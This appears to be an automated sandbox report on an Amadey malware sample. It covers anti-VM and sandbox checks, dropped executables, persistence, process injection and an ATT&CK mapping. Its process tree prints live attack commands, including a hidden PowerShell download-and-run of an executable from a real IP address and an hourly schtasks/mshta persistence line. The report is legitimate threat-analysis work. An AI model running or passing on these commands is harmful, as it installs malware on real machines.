amadey | ced9e4a7cc4abc14b75e90aec265fe16341e7244d056acd86e5b3202473a31ad

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	1u92N3.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	2R8467.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	3q41W.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
70	2140	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3676	powershell.exe
2824	powershell.exe
4608	powershell.exe
2140	powershell.exe

Checks BIOS information in registry 2 TTPs 12 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	2R8467.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	3q41W.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	1u92N3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	2R8467.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	3q41W.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	1u92N3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	1u92N3.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	4g425n.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	mshta.exe

Executes dropped EXE 9 IoCs

pid	Process
1416	Z1O56.exe
2840	X2I71.exe
1748	1u92N3.exe
388	skotes.exe
212	2R8467.exe
3108	3q41W.exe
1536	skotes.exe
628	4g425n.exe
1444	skotes.exe

Identifies Wine through registry keys 2 TTPs 6 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Wine	skotes.exe
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Wine	1u92N3.exe
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Wine	skotes.exe
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Wine	2R8467.exe
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Wine	3q41W.exe
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Wine	skotes.exe

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\""	Z1O56.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP002.TMP\\\""	X2I71.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	ced9e4a7cc4abc14b75e90aec265fe16341e7244d056acd86e5b3202473a31ad.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Suspicious use of NtSetInformationThreadHideFromDebugger 6 IoCs

pid	Process
1748	1u92N3.exe
388	skotes.exe
212	2R8467.exe
3108	3q41W.exe
1536	skotes.exe
1444	skotes.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\skotes.job	1u92N3.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1556	3108	WerFault.exe	88

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ced9e4a7cc4abc14b75e90aec265fe16341e7244d056acd86e5b3202473a31ad.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Z1O56.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	X2I71.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	1u92N3.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	skotes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2R8467.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3q41W.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4g425n.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	3q41W.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	3q41W.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
4400	timeout.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
228	schtasks.exe

Suspicious behavior: EnumeratesProcesses 22 IoCs

pid	Process
1748	1u92N3.exe
1748	1u92N3.exe
388	skotes.exe
388	skotes.exe
212	2R8467.exe
212	2R8467.exe
3108	3q41W.exe
3108	3q41W.exe
3108	3q41W.exe
3108	3q41W.exe
1536	skotes.exe
1536	skotes.exe
3676	powershell.exe
3676	powershell.exe
2824	powershell.exe
2824	powershell.exe
4608	powershell.exe
4608	powershell.exe
2140	powershell.exe
2140	powershell.exe
1444	skotes.exe
1444	skotes.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	3676	powershell.exe
Token: SeDebugPrivilege	2824	powershell.exe
Token: SeDebugPrivilege	4608	powershell.exe
Token: SeDebugPrivilege	2140	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1748	1u92N3.exe

Suspicious use of WriteProcessMemory 43 IoCs

description	pid	Process	procid_target
PID 2020 wrote to memory of 1416	2020	ced9e4a7cc4abc14b75e90aec265fe16341e7244d056acd86e5b3202473a31ad.exe	83
PID 2020 wrote to memory of 1416	2020	ced9e4a7cc4abc14b75e90aec265fe16341e7244d056acd86e5b3202473a31ad.exe	83
PID 2020 wrote to memory of 1416	2020	ced9e4a7cc4abc14b75e90aec265fe16341e7244d056acd86e5b3202473a31ad.exe	83
PID 1416 wrote to memory of 2840	1416	Z1O56.exe	84
PID 1416 wrote to memory of 2840	1416	Z1O56.exe	84
PID 1416 wrote to memory of 2840	1416	Z1O56.exe	84
PID 2840 wrote to memory of 1748	2840	X2I71.exe	85
PID 2840 wrote to memory of 1748	2840	X2I71.exe	85
PID 2840 wrote to memory of 1748	2840	X2I71.exe	85
PID 1748 wrote to memory of 388	1748	1u92N3.exe	86
PID 1748 wrote to memory of 388	1748	1u92N3.exe	86
PID 1748 wrote to memory of 388	1748	1u92N3.exe	86
PID 2840 wrote to memory of 212	2840	X2I71.exe	87
PID 2840 wrote to memory of 212	2840	X2I71.exe	87
PID 2840 wrote to memory of 212	2840	X2I71.exe	87
PID 1416 wrote to memory of 3108	1416	Z1O56.exe	88
PID 1416 wrote to memory of 3108	1416	Z1O56.exe	88
PID 1416 wrote to memory of 3108	1416	Z1O56.exe	88
PID 2020 wrote to memory of 628	2020	ced9e4a7cc4abc14b75e90aec265fe16341e7244d056acd86e5b3202473a31ad.exe	109
PID 2020 wrote to memory of 628	2020	ced9e4a7cc4abc14b75e90aec265fe16341e7244d056acd86e5b3202473a31ad.exe	109
PID 2020 wrote to memory of 628	2020	ced9e4a7cc4abc14b75e90aec265fe16341e7244d056acd86e5b3202473a31ad.exe	109
PID 628 wrote to memory of 4940	628	4g425n.exe	110
PID 628 wrote to memory of 4940	628	4g425n.exe	110
PID 4940 wrote to memory of 4400	4940	cmd.exe	114
PID 4940 wrote to memory of 4400	4940	cmd.exe	114
PID 4940 wrote to memory of 4596	4940	cmd.exe	115
PID 4940 wrote to memory of 4596	4940	cmd.exe	115
PID 4596 wrote to memory of 3676	4596	cmd.exe	116
PID 4596 wrote to memory of 3676	4596	cmd.exe	116
PID 4940 wrote to memory of 2712	4940	cmd.exe	117
PID 4940 wrote to memory of 2712	4940	cmd.exe	117
PID 2712 wrote to memory of 2824	2712	cmd.exe	118
PID 2712 wrote to memory of 2824	2712	cmd.exe	118
PID 4940 wrote to memory of 4056	4940	cmd.exe	119
PID 4940 wrote to memory of 4056	4940	cmd.exe	119
PID 4056 wrote to memory of 4608	4056	cmd.exe	120
PID 4056 wrote to memory of 4608	4056	cmd.exe	120
PID 4940 wrote to memory of 228	4940	cmd.exe	121
PID 4940 wrote to memory of 228	4940	cmd.exe	121
PID 4940 wrote to memory of 3872	4940	cmd.exe	122
PID 4940 wrote to memory of 3872	4940	cmd.exe	122
PID 3872 wrote to memory of 2140	3872	mshta.exe	123
PID 3872 wrote to memory of 2140	3872	mshta.exe	123

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\ced9e4a7cc4abc14b75e90aec265fe16341e7244d056acd86e5b3202473a31ad.exe
"C:\Users\Admin\AppData\Local\Temp\ced9e4a7cc4abc14b75e90aec265fe16341e7244d056acd86e5b3202473a31ad.exe"
1⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2020
- C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Z1O56.exe
  C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Z1O56.exe
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1416
- - C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\X2I71.exe
    C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\X2I71.exe
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2840
  - - C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\1u92N3.exe
      C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\1u92N3.exe
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Checks computer location settings
      Executes dropped EXE
      Identifies Wine through registry keys
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:1748
    - - C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
        
        "C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:388
  - - C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\2R8467.exe
      C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\2R8467.exe
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Executes dropped EXE
      Identifies Wine through registry keys
      Suspicious use of NtSetInformationThreadHideFromDebugger
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:212
- - C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\3q41W.exe
    C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\3q41W.exe
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    PID:3108
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3108 -s 1568
      4⤵
      Program crash
      PID:1556
- C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\4g425n.exe
  C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\4g425n.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:628
- - C:\Windows\system32\cmd.exe
    "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\2313.tmp\2314.tmp\2315.bat C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\4g425n.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4940
  - - C:\Windows\system32\timeout.exe
      timeout /t 2
      4⤵
      Delays execution with timeout.exe
      PID:4400
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4596
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3676
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2712
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2824
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4056
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4608
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "YV7MNmaTQZ3" /tr "mshta \"C:\Temp\bWgELQ1tX.hta\"" /sc minute /mo 60 /ru "Admin" /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:228
  - - C:\Windows\system32\mshta.exe
      mshta "C:\Temp\bWgELQ1tX.hta"
      4⤵
      Checks computer location settings
      Suspicious use of WriteProcessMemory
      PID:3872
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'\483d2fa8a0d53818306efeb32d3.exe';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/defend/random.exe',$d);Start-Process $d;
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2140

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:1536

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 3108 -ip 3108
1⤵
PID:1860

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:1444

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Modify Registry

T1112

Virtualization/Sandbox Evasion

Credential Access

Discovery

Query Registry

System Information Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion